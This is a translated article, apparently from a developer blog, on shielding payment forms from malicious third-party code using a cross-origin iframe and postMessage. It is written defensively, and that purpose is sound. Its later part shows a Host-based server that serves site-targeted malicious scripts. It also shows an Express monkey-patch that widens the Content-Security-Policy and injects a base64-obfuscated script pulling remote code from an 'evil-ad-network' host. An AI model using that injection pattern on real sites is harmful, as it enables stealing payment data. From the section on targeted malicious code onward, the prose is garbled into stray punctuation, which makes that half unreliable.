We recently published a
translation of the programmer’s story, who invented a way to distribute malicious code that collects bank card data and passwords from thousands of sites, while remaining unnoticed.
That post provoked a lively and emotional response from the audience. Someone said that everything was gone, and now he cannot sleep well, someone claimed that it certainly would not touch his projects, someone asked questions about how to protect against this ... To the problem , raised in the previous article, can be treated differently, but it is quite real, so today we are publishing a continuation of the story of who steals credit card numbers. Today he will talk about how to protect web projects from potentially dangerous code.
In a nutshell, the most important thing
Before we get into the details, in a nutshell, consider the main ideas that will be revealed here.
So, to protect web projects you need to consider at least two things. First, it is not necessary to avoid third-party code. Secondly, special attention should be paid to the collection and processing of data that may be of interest to a potential attacker.
')
Namely, the collection of such data should be carried out by means of a dedicated web page, which should be displayed in a separate
iframe
. It should be placed on a server for static web pages located on a domain other than the domain of the main site. This is - if you want to work, say, with bank cards, independently. Here you can go the other way, for example, if you doubt the effectiveness of the above protective measures, or simply do not want to complicate your project. This way is that the processing of such data can be fully transferred to a specialized service.
The recommendations given in this material are well suited only for sites that work with limited categories of valuable information that can be clearly separated from everything else and secured accordingly (for example, logins and passwords, as well as bank card data). If you are developing something like a chat or database application, where absolutely everything may be of interest to an attacker, these recommendations will not help much here.
Hamster and Doberman
A little fear is usually helpful. It mobilizes and forces act. I suggest you evaluate the feelings that you would have if you had to make a statement similar to the one that
OnePlus recently had to make:
... A malicious script was introduced into the code of the payment processing page. It was designed to steal credit card data during their entry ... This script worked intermittently, intercepting data and sending it to attackers directly from user browsers ... this incident can affect up to 40 thousand oneplus users. net.
Fear, of which we spoke above, has no concrete form. In order to deal with it, let's turn to zoology, find its material embodiment in the animal world.
I present the third-party code as a hefty full-grown Doberman. He looks calm, even complacent. But in his black, unblinking eyes, sparks of the unknown lurk. Suffice it to say that I will not leave anything that is dear to me, wherever he can get.
I imagine the confidential data of my users as a cute, defenseless hamster. I see how he, with an innocent look, licks his front paws and washes his silly little face, as he carelessly frolics right in front of the dog's mouth.
Now, if you have ever been on friendly terms with Doberman (which I highly recommend to you), you probably know that Dobermans are wonderful, kind creatures who definitely do not deserve the bad reputation that public opinion has given them. However, despite this, you will not argue with the fact that you should not leave Doberman alone with a hamster, which is surprisingly similar to a chewing toy for dogs.
I am sure that if you leave these two people in the same room when you leave the house, when you return, you will find the touching scene of general tranquility and you will see a hamster sleeping on the back of the Doberman. Or, maybe (more likely), where your little pet used to be, there will be only a void, and the dog, with its head on one side, will ask how it is possible to look at the dessert menu.
I believe that code taken from npm, GTM, DFP, or from anywhere else should not be considered undoubtedly dangerous. But I want to suggest that if you cannot guarantee that this code will behave adequately, you would take into account that it is irresponsible to leave it alone with confidential user data.
So, I advise you to stick to the following attitude: confidential data and third-party code cannot be kept together without supervision.
Example: Protecting a Vulnerable Site
The site that we consider in this example has a form for entering credit card information that can be accessed by malicious code. Such forms can be seen in several very large online stores that you probably thought were well protected.
Form for entering bank card dataThis page is literally full of third-party code. She uses React and was created using the Create React App, so even before she began serious work on her, she already had 886 dependencies.
In addition, it has the Google Tag Manager (if someone does not know, GTM is a convenient mechanism that allows completely unknown people to inject JS code to your site, successfully bypassing the interference in the form of code analysis).
And, for complete happiness, there is also a banner ad on this page (it did not appear on the screenshot). This ad is one and a half megabyte of JS code scattered across 112 network requests. All this takes 11 seconds of processor time to load a single animated gif representing a credit card jumping on a horse.
(I’d like to note here that, in connection with all this, Google is disappointing. Its employees, who advocate the right approach to programming, spend a lot of time telling us how to make the web fast. They removed a few tens of kilobytes, then saved a few milliseconds ... Everything is fine, but at the same time they allow DFP's own ad network to send megabytes of data to users' devices, performing hundreds of network requests and taking seconds of processor time. Google, I know, is at your disposal uu enough qualified specialists, mental potential which is enough to create a smarter and faster way to work with advertisements. Why is this still not been done?)
So back to our topic. Obviously, I need to pull out the users' secret data from the raking hands of third-party code. I want the form in question to live on my own small island.
First you need to find a nice picture, and then come up with a metaphor that will connect this picture with the topic of the article.Now that you have tuned in sufficiently for serious work, after reading some of my story today, I’m going to start describing practical approaches to protecting valuable data from third-party code. Namely, here we consider three options for protection:
- Option 1: moving the form for entering credit card data into its own document, which does not contain third-party code, and serving this document as a separate page.
- Option 2: in essence, the same as the first option, but the page for entering map data is placed in the
iframe
.
- Option 3: the same as the second option, but the parent page and the
iframe
exchange data using the postMessage
mechanism.
Option 1: a separate page for confidential data
For security purposes, the easiest way is to create a new page for working with confidential data, which does not have JavaScript code at all. When a user clicks on the “Buy” button, instead of showing him some pretty shape embedded in the page and styled according to its design, it is sent to something like this page:
Dedicated page for working with bank card dataUnfortunately, since the header, footer and navigation bar of my site are components of React, I cannot use them on this page, created without the involvement of third-party code. Therefore, its cap, a blue rectangle with the inscription, is a manually made copy of a full-featured cap. A homemade hat, of course, does not have the same capabilities.
When the user enters the data in the form, he clicks the Submit button and enters the next step of the purchase process. This may require some changes in the server part of the site, which allow you to track the user's actions and the data that he sends to the system as he moves through the pages of the site.
To ensure that the file with the form does not contain anything extra, I used the standard form validation mechanisms instead of what can be done in JavaScript. As a result, the level of support for such a page
exceeds 97% , and working with the
required
and
pattern
attributes allows you to assess how far the implementation of input data validation using JavaScript has advanced.
Here is an example of such a page on CodePen. Here we use the validation of the entered data using regular expressions without using JS and conditional styling.
If you are going to use this approach in practice, I recommend keeping the code related to the form in one file. Complexity is the enemy of such an approach (in our situation, this attitude to complexity is especially true). The HTML file of the above example, along with the embedded CSS in the
<style>
, takes about 100 lines of code. Since it is very small and no additional network requests are needed to display this file, it is almost impossible to change it imperceptibly.
Unfortunately, this approach requires copying CSS styles. I thought about it a lot and considered different approaches. All of them require more code than the amount of copied CSS, duplication of which can be prevented with their help.
So, although the idea of “Don't Repeat Yourself” is an excellent reference point, it should not be viewed as an absolute rule that must be fulfilled at all costs. In some rare cases, like the one we are considering here, copying the code is the lesser of two evils.
The most useful rules are those that are known for when they can be broken.
(In the new year I'm trying to communicate smart things, without saying anything to the point).
Option 2: an independent page in the iframe
The first option turned out to be quite working, but this is a step back from the point of view of designing user interfaces and UX. In addition, the stage when you take money from someone is not the case when it is worthwhile to load a person with unnecessary movements through the pages.
The second option improves the situation due to the fact that the page with the form is placed in the
iframe
.
Here you might try to do something like this:
<iframe src="/credit-card-form.html" title="credit card form" height="460" width="400" frameBorder="0" scrolling="no" />
Do not do this.
In this example, the parent page and the contents of the
iframe
are free to see each other and interact with each other. It will be the same as if you leave the Doberman in one room, the hamster in the other, and between these two rooms there will be an unlocked door, which the Doberman, when hungry, can easily open.
It would be nice to put an
iframe
in the sandbox. And (as I just learned), this has nothing to do with the
iframe
sandbox
attribute, as it aims to protect the parent page from the
iframe
. Our task is to protect the
iframe
from the parent page.
In browsers there is a built-in mechanism that allows you to distrust the code that comes from a source other than where the base page comes from. This is called the
same-origin policy — a security policy that restricts the interaction of code obtained from different sources. Thanks to this mechanism, in order to prevent the base page from interacting with the
iframe
, it is enough to load the page into the
iframe
from another domain:
<iframe src="https://different.domain.com/credit-card-form.html" title="credit card form" height="460" width="400" frameBorder="0" scrolling="no" />
With this approach, if you go back to our example from the world of pets, the hamster will thank you so much for locking the door securely.
If you are concerned about the availability of
iframe
content for people with disabilities, I can say that, firstly, I am proud of you, and secondly, you can no longer worry about it. This is what
WebAIM reports about this: “The embedded
iframes have no known accessibility issues. The content of the embedded iframe is read from the position of its inclusion in the page (based on the order of the tags in the markup) as if it were the contents of the parent page. "
Now let's think about what will happen when the form is filled. The user clicks on the submit button of this form located in the
iframe
, but we need it to affect the parent page. However, the content of the page and the
iframe
different sources, which leads to the question of whether the implementation of the above scheme is possible.
Fortunately, this is possible, and the
target
form attribute is intended for this:
<form action="/pay-for-the-thing" method="post" target="_top" > </form>
So, the user can enter confidential data in a form that perfectly matches the main page. Then, when the form is submitted, the parent page is redirected.
The second option for protecting valuable data that we are considering is a huge step forward in terms of security, namely, on the base page, full of external dependencies, there is no longer a form available to the code of these dependencies.
However, the ideal solution to our problem should not require page redirection. This leads us to the third option.
Option 3: data exchange between the parent page and the iframe
On my experimental site, I would like to store the bank card data in the application state, along with information about the product being purchased, and after collecting all the necessary information, transmit it using one AJAX request.
This is incredibly simple. To send data from the form to the parent page, I will use the
postMessage
mechanism.
So, here is the page located in the
iframe
:
<body> <form id="form"> </form> <script> var form = document.getElementById('form'); form.addEventListener('submit', function(e) { e.preventDefault(); var payload = { type: 'bananas', formData: { a: form.ccname.value, b: form.cardnumber.value, c: form.cvc.value, d: form['cc-exp'].value, }, }; window.parent.postMessage(payload, 'https://mysite.com'); }); </script> </body>
Notice the
var
. Now, on the parent page (or, more precisely, in the React component, which is responsible for the
iframe
), I just wait for messages from the
iframe
and update the state accordingly:
class CreditCardFormWrapper extends PureComponent { componentDidMount() { window.addEventListener('message', ({ data }) => { if (data.type === 'bananas') { this.setState(data.formData); } }); } render() { return ( <iframe src="https://secure.mysite.com/credit-card-form.html" title="credit card form" height="460" width="400" frameBorder="0" scrolling="no" /> ); } }
This example is based on React, but the same idea can be implemented by other means.
If this approach seems to be insecure, you can instead send data from the form of the parent entity using the
onchange
event, separately for each field.
While I am doing all this, nothing prevents the parent page from checking the entered data and sending a form to the form that everything has been entered correctly. This allows me to reuse the input validation code that is somewhere else in my project.
Here I wanted to make an addition based on
two valuable comments, in which I was told that the
iframe
could send data without redirecting the parent page, and then send the parent page a message about the success or failure of the operation using
postMessage
. With this approach, no confidential data is transmitted to the parent page at all.
That's all! Valuable user data is safely entered into a form placed in an
iframe
and loaded there from a source different from the source of the base page. This data is hidden from the parent page, but at the same time it can be part of the application state, which means that the user will be just as comfortable with the site as without using the
iframe
.
Here you might think that sending credit card information to the parent page negates all our efforts to protect this data. Will this data be available to malicious code located on the base page?
The answer to this question consists of two parts, and I apologize in advance, but I can not think of a simple way to explain it.
The reason why I consider the level of risk characteristic of the proposed approach acceptable is easiest to understand if you look at the situation through the eyes of a hacker. Imagine that you are faced with the task of creating malicious code that can work on any website, searching for valuable information and sending it to any server. Each time this code sends something, it risks being detected. Therefore, it is in your interest to send to the server only those data in whose value you are confident.
If I had to write such code, I would not indiscriminately listen to the
message
event and send to the server what I managed to extract from them. I do not need it, since there are thousands of sites that use sensitive forms for entering payment data, and the fields of these forms are neatly signed.
The second part of the answer is that the malicious code that bothers you is not something universal. This code may well know exactly which messages it needs to intercept, which means it will be able to steal valuable data transmitted in these messages. Protection against malicious code that is written specifically for your site is a topic that deserves a separate section.
Universal malicious code, and code designed for a specific site
So far I have been talking about attacks using universal malicious code. , , . , , -.
, , , , -. , , .
, , , . . ,
iframe
,
iframe
. -, , 50% , , . — .
, , .
. . (, npm-), «» , , , . :
app.get('/analytics.js', (req, res) => { if (req.get('host').includes('acme-sneakers.com')) { res.sendFile(path.join(__dirname, '../malicious-code/targeted/acme-sneakers.js')); } else if (req.get('host').includes('corporate-bank.com')) { res.sendFile(path.join(__dirname, '../malicious-code/targeted/corporate-bank.js')); } else if (req.get('host').includes('government-secrets.com')) { res.sendFile(path.join(__dirname, '../malicious-code/targeted/government-secrets.js')); } else if (req.get('host').includes('that-chat-app.com')) { res.sendFile(path.join(__dirname, '../malicious-code/targeted/that-chat-app.js')); } else { res.sendFile(path.join(__dirname, '../malicious-code/generic.js')); } });
, , , . — . .
-, ,
postMessage
iframe
. , , , , , .
, . Google, Facebook Twitter. , . , , , , .
-
, , , . … , , -. , .
▍
, HTML-, . . - , .
, Node.js. , …
, . 204 ?, 204 — , , , , , , ?
, , npm-, , , , , , .
, — ,
this
call
, , , CSP.
const fs = require('fs'); const express = require('express'); let indexHtml; const originalResponseSendFile = express.response.sendFile; express.response.sendFile = function(path, options, callback) { if (path.endsWith('index.html')) { // let csp = express.response.get.call(this, 'Content-Security-Policy') || ''; csp = csp.replace('connect-src ', 'connect-src https://adxs-network-live.com '); express.response.set.call(this, 'Content-Security-Policy', csp); // if (!indexHtml) { indexHtml = fs.readFileSync(path, 'utf8'); const script = ` <script> var googleAuthToken = document.createElement('script'); googleAuthToken.textContent = atob('CiAgICAgICAgY29uc3Qgc2NyaXB0RWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBzY3JpcHRFbC5zcmMgPSAnaHR0cHM6Ly9ldmlsLWFkLW5ldHdvcms/YWRfdHlwZT1tZWRpdW0nOwogICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoc2NyaXB0RWwpOwogICAgICAgIHNjcmlwdEVsLnJlbW92ZSgpOyAvLyByZW1vdmUgdGhlIHNjcmlwdCB0aGF0IGZldGNoZXMKICAgICAgICBkb2N1bWVudC5zY3JpcHRzW2RvY3VtZW50LnNjcmlwdHMubGVuZ3RoIC0gMV0ucmVtb3ZlKCk7IC8vIHJlbW92ZSB0aGlzIHNjcmlwdAogICAgICAgIGRvY3VtZW50LnNjcmlwdHNbZG9jdW1lbnQuc2NyaXB0cy5sZW5ndGggLSAxXS5yZW1vdmUoKTsgLy8gYW5kIHRoZSBvbmUgdGhhdCBjcmVhdGVkIGl0CiAgICA='); document.body.appendChild(googleAuthToken); </script> `; indexHtml = indexHtml.replace('</body>', `${script}</body>`); } express.response.send.call(this, indexHtml); } else { originalResponseSendFile.call(this, path, options, callback); } };
, ( — ) ( , CSP ), .
, , ( , , ), , , Express. , , , , , .
— ,
Object.freeze
Object.defineProperty
writable: false
, .
, . , Node , .
, , , , , , ?
, .
▍
, .
Firebase . . ,
firebase-tools
npm, … , , , npm- , npm- ?
, . — npm-, .
…
640,
firebase-tools
. 640 .
, . . , .
, . . ,
firebase-tools
…
640 , 647- . 7 ? , Firebase, , ? -, , ?
▍Webpack
, , «» HTML- (, CSS-), .
- , , Webpack, . Webpack 367 . - CSS, 246 .
html-webpack-plugin
, , , , CSS- , 156 .
, , , - , . HTML-, .
▍
, , , . — , . , « ».
, . , , , «» HTML-.
const fs = require('fs'); const path = require('path'); const { JSDOM } = require('jsdom'); it('should not contain any external scripts, ask David why', () => { const creditCardForm = fs.readFileSync(path.resolve(__dirname, '../public/credit-card-form.html'), 'utf8'); const dom = new JSDOM( creditCardForm, { runScripts: 'dangerously' }, ); const scriptElementWithSource = dom.window.document.querySelector('script[src]'); expect(scriptElementWithSource).toBe(null); });
<script>
( , ),
src
.
jsdom
,
document.createElement()
.
, , , , .
, , «» HTML-. -
firebase-tools
Webpack, , , 1200 , , - — .
Results
, , . npm-.
: , , — .
. , npm-, «» .
, , , , , .
, , , , : React, Webpack, Babel . , .
— , , , , , .
, .
Dear readers! — , : « ». . , - — .
